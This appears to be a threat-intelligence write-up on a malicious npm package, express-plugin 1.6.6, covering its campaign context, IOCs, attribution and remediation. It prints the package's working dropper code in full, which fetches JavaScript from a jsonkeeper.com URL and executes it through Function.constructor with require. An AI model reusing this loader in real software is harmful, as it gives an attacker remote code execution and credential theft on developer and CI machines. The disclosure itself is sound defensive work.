On June 26, 2026, a package named express-plugin was published to npm by the account
jamiecablerr. The package contained two files. One was a standard package.json. The other
was a 2.2 KB JavaScript file that, on any require() call, fetches a payload from a
third-party paste host and evaluates it with full Node.js require privileges. The paste host
is attacker-controlled and mutable: the operator can swap the payload at any time without
touching the package. Version 1.6.6 is the only version and was live on the registry when
we pulled and analyzed the tarball.
Campaign Context
The jsonkeeper.com plus Function.constructor plus cookie field combination is not new.
The jsonspack campaign, a DPRK-attributed supply chain operation comprising 27 npm packages
published between March 18 and March 31, 2026, used the identical delivery architecture across
all its packages. In that campaign, each loader made a GET request to a jsonkeeper.com URL,
extracted JavaScript from the cookie field of the JSON response, and evaluated it via
new Function.constructor('require', payload)(require). The jsonspack RAT delivered through
that mechanism included a browser credential stealer targeting 13 Chromium browsers and 40
crypto wallet extensions, a full-filesystem file exfiltrator, and a socket.io reverse shell,
all exfiltrating to a Vultr VPS at 144.172.110.132 on ports 8085, 8086, and 8087.
A second package, requests-middleware (MAL-2026-6096, published June 18, 2026), used the
same pattern against a different jsonkeeper URL (/b/YL7GN) and the same Cookie field
extraction method, confirmed by Amazon Inspector analysis.
express-plugin uses the same delivery architecture: jsonkeeper.com, cookie field, and
Function.constructor. The publisher account, the package name, and the jsonkeeper URL
(/b/PRA3O) are distinct from prior documented packages. Direct infrastructure linkage
to jsonspack has not been confirmed from the package artifacts alone, but the technique
is a documented fingerprint of that campaign family.
Package Anatomy
The tarball for express-plugin@1.6.6 (SHA1: 02dbd0ec2dcd58a51566d415265b44123e3a60db,
verified against OSV evidence hash) extracts to exactly two files:
package/
├── index.js 2.2 KB ← malicious dropper
└── package.json 232 B ← no scripts, no dependencies declaredThe package.json declares no dependencies, no preinstall or postinstall scripts, and no
author field. The description is empty. There is no README.
{
"name": "express-plugin",
"version": "1.6.6",
"description": "",
"license": "ISC",
"author": "",
"type": "commonjs",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
}
}No lifecycle hooks. No install-time execution. The payload runs entirely through the module system, not the npm script runner.
The file is headed with a comment that claims it is a path normalization utility:
/*!
* normalize-path (ES6 safe version)
*/normalize-path is a legitimate, widely-used npm package. The comment is cover. The package
exports an initPlugin function as module.exports and also implements a working
normalizePath function that does nothing malicious. Neither function is what the file
actually does on require().
Execution Trigger
There is no install hook. initPlugin() is called unconditionally at the bottom of index.js,
as the last statement in the module scope:
initPlugin();This executes the moment any Node.js process evaluates require('express-plugin'). No user
action, no install step, no imported function call needed. If the package is in node_modules
and anything in the dependency tree imports it, the dropper runs.
--ignore-scripts stops postinstall hooks. It stops nothing here. The execution path is
require() into module load into initPlugin(). There is no hook to ignore.
Payload Analysis
initPlugin() has two jobs: fetch a remote payload and execute it.
Fetch
function initPlugin(reqoptions = {
headers: { bearrtoken: "logo" },
url: "https://jsonkeeper.com/b/PRA3O"
}, ret = 1) {
const mreq = (atlf) => {
req(reqoptions, (e, r, b) => {
if (e || r.statusCode !== 200) {
if (atlf > 0) { mreq(atlf - 1); }
return;
}
try {
const handler = new (Function.constructor)('require', JSON.parse(b).cookie);
if (handler) handler(require);
} catch (err) {
if (atlf > 0) { mreq(atlf - 1); }
return;
}
});
};
mreq(ret);
}The function makes a GET request to https://jsonkeeper.com/b/PRA3O with a custom header
bearrtoken: logo. The bearrtoken header pattern matches the jsonspack loader variants
documented by Panther Research, where loaders used bearrtoken as a request identifier
across multiple jsonkeeper cluster URLs.
On a successful HTTP 200 response, the function parses the response body as JSON and reads the
cookie field. That field is expected to contain a JavaScript string. The function passes it
directly to Function.constructor with require as the only argument, then calls the
resulting function immediately. If the request fails or the response is not parseable, the
function retries once (the ret = 1 default) before giving up silently.
Execute
new Function.constructor('require', payload)(require) creates a new function with require
as its parameter name and the remote string as its body, then calls it with the actual Node.js
require function. The executed code has full access to all Node.js built-in modules and any
installed packages, identical to code running at the top level of any .js file in the process.
The payload is whatever the operator has currently stored at jsonkeeper.com/b/PRA3O. The
package does not need to be republished to change what executes. Any Node.js process that
imports express-plugin runs the operator’s current payload, whatever it happens to be at
that moment. We attempted to retrieve the live payload during our analysis. The jsonkeeper.com
domain was outside our egress allowlist. Based on confirmed payloads the jsonspack campaign
served through the same delivery architecture, the stage-2 payload is a heavily obfuscated
JavaScript RAT with browser credential theft targeting 13 Chromium browsers and 40 crypto
wallet extensions, full-filesystem exfiltration, and a socket.io reverse shell.
The payload at jsonkeeper.com/b/PRA3O is operator-controlled and mutable. Based on
confirmed payloads retrieved from the jsonspack campaign using the same delivery pattern, the
stage-2 payload in that family is a heavily obfuscated JavaScript RAT with browser credential
theft targeting 13 Chromium browsers and 40 crypto wallet extensions, full-filesystem
exfiltration, and a socket.io reverse shell. The payload behind this specific URL may differ
and can be updated by the operator at any time without republishing the package.
The Broken Dependency
index.js calls require('request') at the top of the file to load the request HTTP client
library. The request package is not listed in package.json under dependencies. On a clean
install of express-plugin alone, require('request') throws MODULE_NOT_FOUND and the
entire dropper fails silently before the fetch even starts.
The dropper only executes on machines where request is already available as a transitive
dependency from another installed package. This is not an accident. It narrows the target pool
to projects that already use request in their dependency tree: typically older Node.js
projects, since request was deprecated in 2020 but remains in active use across millions of
packages. A developer working on a project with request in its tree who installs express-plugin
as a new Express middleware dependency will trigger the dropper silently.
The missing declaration is not a packaging error. It is a target filter.
OPSEC Failures
The publisher registered the account jamiecablerr with the email jamiecabler2@outlook.com.
The account has no prior publishing history on the registry.
The package.json has an empty author field and no description. Both are fields that
legitimate packages fill in. An empty description is a detection signal in any automated
package scanner.
The normalize-path (ES6 safe version) header comment is plausible at a glance but
normalize-path is an unscoped utility package. Legitimate normalize-path implementations
do not also function as Express plugin initializers. The comment creates a naming conflict
with the package name express-plugin that serves no cover purpose on close inspection.
The request dependency omission from package.json means the dropper fails silently on
most installs, which limits reach but also prevents detection via dependency scanning tools
that flag unusual new dependencies in a manifest.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
express-plugin | npm package | 1.6.6 (only version) | Registry metadata, _npmUser field |
index.js | File in tarball | SHA256: cb40d0001069f499b51beaba992eaf01247958017ebd217ac6421c7650828f9f | OSV evidence file, verified against extracted tarball |
express-plugin-1.6.6.tgz | Tarball | SHA1: 02dbd0ec2dcd58a51566d415265b44123e3a60db | OSV package_integrity, verified against downloaded tarball |
https://jsonkeeper.com/b/PRA3O | C2 URL (payload host) | GET with bearrtoken: logo header | Read from initPlugin() default argument in index.js line 42 |
jamiecablerr | npm publisher account | Email: jamiecabler2@outlook.com | Pulled from registry metadata during triage |
Function.constructor | Code pattern | Dynamic eval of remote cookie field | index.js line 50, initPlugin() eval block |
normalize-path (ES6 safe version) | Decoy comment | Header of index.js | index.js line 1, tarball analysis |
Affected Versions
| Version | Published (UTC) | Tarball SHA1 | Current Status | OSV Entry |
|---|---|---|---|---|
| 1.6.6 | 2026-06-26 13:05:57 | 02dbd0ec2dcd58a51566d415265b44123e3a60db | Live | IN-MAL-2026-007607 |
Remediation
-
Search
package-lock.json,yarn.lock, andpnpm-lock.yamlforexpress-plugin@1.6.6. Any match means the package was installed. Remove it from your dependency manifest and reinstall withnpm installor equivalent to regenerate the lockfile without it. -
Check egress logs for outbound connections to
jsonkeeper.com. Filter for connections originating from Node.js processes. Any connection tojsonkeeper.com/b/PRA3Oconfirms the dropper ran and a payload was fetched. The timestamp of that connection is the execution time. -
If egress logs show a connection to
jsonkeeper.com, rotate all credentials accessible from the affected process at the time of execution: environment variables matching the standard token patterns (AWS, GitHub, npm tokens, API keys), SSH keys loaded in the session, and any credential files readable by the process user. -
If the package was installed in a CI/CD pipeline run, treat all secrets injected into that pipeline job as exposed. Audit GitHub Actions secrets, environment variables, and OIDC tokens scoped to that workflow.
-
Block outbound connections to
jsonkeeper.comfrom build servers and developer machines if your environment does not use this service legitimately. The domain hosts attacker payloads for multiple documented malicious packages and has no legitimate use in a standard development or CI environment. -
Check whether
requestis present as a transitive dependency in the affected project. Ifrequestis absent, the dropper failed silently. Ifrequestis present, the dropper ran to completion and the payload fetch was attempted.
Attribution
Our analysis identified three shared indicators between this package and the jsonspack
campaign (27 packages, March to April 2026): the bearrtoken request header, the jsonkeeper.com
delivery host, and the cookie field extraction pattern for the remote payload. Using a mutable
paste host as a payload delivery mechanism means the operator can retarget every installed
instance simultaneously without touching the package. A conventional stealer with a hardcoded
payload requires republishing to change behavior. This one does not. All three appear
verbatim in the jsonspack loader variants documented by Panther Research, who attributed that
campaign to DPRK (Lazarus Group / Famous Chollima) with high confidence after cross-referencing
with the dprk-research.kmsec.uk feed covering 163 attributed packages from the same period.
The same pattern was observed again in requests-middleware (MAL-2026-6096, June 18, 2026),
eight days before express-plugin was published.
We searched jamiecablerr and jamiecabler2@outlook.com against the dprk-research.kmsec.uk
feed, prior jsonspack package lists, and public incident reports. Neither appears. The jsonkeeper
URL /b/PRA3O is not documented in any prior jsonspack reporting we could find. This package
uses the jsonspack delivery architecture: bearrtoken header, jsonkeeper.com host, and cookie
field evaluation via Function.constructor. Those three indicators are the campaign fingerprint.
